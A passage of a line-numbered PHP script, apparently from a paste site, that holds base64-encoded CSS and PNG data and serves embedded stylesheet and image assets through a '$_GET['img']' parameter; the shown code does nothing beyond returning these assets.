0aXZlIHVsIGxpIGEge3dpZHRoOjE3MHB4OyBwYWRkaW5nOjVweCAxNXB4IDVweCAzMHB4OyBiYWNrZ3JvdW5kOnVybCgiJWZpbGUlP2ltZz0xNiIpIDE1cHggN3B4IG5vLXJlcGVhdDsgZm9udDo4NSUvMS4yICJ0YWhvbWEiLHNhbnMtc2VyaWY7IGZvbnQtd2VpZ2h0Om5vcm1hbDt9DQojY29udGVudCBoMSB7bWFyZ2luOjA7IHBhZGRpbmc6MTBweCAxNXB4OyBiYWNrZ3JvdW5kOnVybCgiJWZpbGUlP2ltZz00IikgMCAwIHJlcGVhdC14OyBsZXR0ZXItc3BhY2luZzotMXB4O30NCiNjb250ZW50IC5jb2w1MCB7ZmxvYXQ6bGVmdDsgd2lkdGg6NDklO30NCiNjb250ZW50IC5jb2wzMyB7ZmxvYXQ6bGVmdDsgd2lkdGg6MzIlO30NCiNjb250ZW50IC5jb2wzMy5jZW50ZXIge3BhZGRpbmc6MCAyJTt9DQojY29udGVudCAudGFicyB7bWFyZ2luOjE1cHggMDt9DQojY29udGVudCAudGFicyB1bCB7bWFyZ2luOjA7IHBhZGRpbmc6MDsgbGlzdC1zdHlsZS10eXBlOm5vbmU7fQ0KI2NvbnRlbnQgLnRhYnMgdWwgbGkge2Rpc3BsYXk6aW5saW5lOyBtYXJnaW46MDsgcGFkZGluZzowO30NCiNjb250ZW50IC50YWJzIGEge2Zsb2F0OmxlZnQ7IG1hcmdpbi1yaWdodDozcHg7IHBhZGRpbmctbGVmdDo0cHg7IGJhY2tncm91bmQ6dXJsKCIlZmlsZSU/aW1nPTE5IikgMCAtMTAwcHggbm8tcmVwZWF0OyB0ZXh0LWRlY29yYXRpb246bm9uZTt9DQojY29udGVudCAudGFicyBhIHNwYW4ge2Zsb2F0OmxlZnQ7IGRpc3BsYXk6YmxvY2s7IHBhZGRpbmc6OHB4IDE1cHggNnB4IDExcHg7IGJhY2tncm91bmQ6dXJsKCIlZmlsZSU/aW1nPTIwIikgMTAwJSAtMTAwcHggbm8tcmVwZWF0O30NCiNjb250ZW50IC50YWJzIGE6aG92ZXIsIC50YWJzIGE6aG92ZXIgc3BhbiB7dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTt9DQojY29udGVudCAudGFicyAudWktdGFicy1zZWxlY3RlZCBhIHtiYWNrZ3JvdW5kOnVybCgiJWZpbGUlP2ltZz0xOSIpIDAgMCBuby1yZXBlYXQ7IGZvbnQtd2VpZ2h0OmJvbGQ7fQ0KI2NvbnRlbnQgLnRhYnMgLnVpLXRhYnMtc2VsZWN0ZWQgYSBzcGFuICB7YmFja2dyb3VuZDp1cmwoIiVmaWxlJT9pbWc9MjAiKSAxMDAlIDAgbm8tcmVwZWF0O30NCiNjb250ZW50IC50YWJzIC51aS10YWJzLXNlbGVjdGVkIGE6aG92ZXIsICNjb250ZW50IC50YWJzIC51aS10YWJzLXNlbGVjdGVkIGE6aG92ZXIgc3BhbiB7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fQ0KI2NvbnRlbnQgLnVpLXRhYnMtaGlkZSB7ZGlzcGxheTogbm9uZSAhaW1wb3J0YW50O30NCi5pbnB1dC10ZXh0IHtwYWRkaW5nOjNweDsgZm9udDoxMDAlLzEuNSAiYXJpYWwiLCBzYW5zLXNlcmlmO30NCi5pbnB1dC10ZXh0LTAyIHtwYWRkaW5nOjVweDsgZm9udDoxNDAlLzEuNSAiYXJpYWwiLCBzYW5zLXNlcmlmO30NCi5pbnB1dC1zdWJtaXQge3BhZGRpbmc6NXB4OyBmb250LXNpemU6MTIwJTt9DQouaW5wdXQtc3VibWl0LTAyIHtwYWRkaW5nOjFweDsgZm9udC1zaXplOjEwMCU7fQ0KLm1zZyB7cGFkZGluZzoxMHB4OyBwYWRkaW5nLWxlZnQ6MzVweDt9DQoubXNnLndhcm5pbmcge2JhY2tncm91bmQ6dXJsKCIlZmlsZSU/aW1nPTEwIikgMTBweCA1MCUgbm8tcmVwZWF0O30NCi5tc2cuaW5mbyB7YmFja2dyb3VuZDp1cmwoIiVmaWxlJT9pbWc9OSIpIDEwcHggNTAlIG5vLXJlcGVhdDt9DQoubXNnLmRvbmUge2JhY2tncm91bmQ6dXJsKCIlZmlsZSU/aW1nPTgiKSAxMHB4IDUwJSBuby1yZXBlYXQ7fQ0KLm1zZy5lcnJvciB7YmFja2dyb3VuZDp1cmwoIiVmaWxlJT9pbWc9NyIpIDEwcHggNTAlIG5vLXJlcGVhdDt9DQoNCi8qID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpGT05UIFNUWUxFUw0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0gKi8NCg0KLmJpZ2dlciB7Zm9udC1zaXplOjEyMCU7fQ0KLnNtYWxsZXIge2ZvbnQ6ODUlLzEuMiAidGFob21hIixzYW5zLXNlcmlmO30NCg0KLyogVGhpcyBsaW5lIGNhbiBiZSBkZWxldGVkICovDQoudGl0IHtwYWRkaW5nOjEwcHg7IGJhY2tncm91bmQ6I2Y1ZjVmNTt9IC50YWcge2JhY2tncm91bmQ6I2ZmYTt9DQo=')));
  22.   exit;
  23.   }   if ($_GET['img']=="0"){  header("Content-Type: image/gif");
  24.    echo (base64_decode('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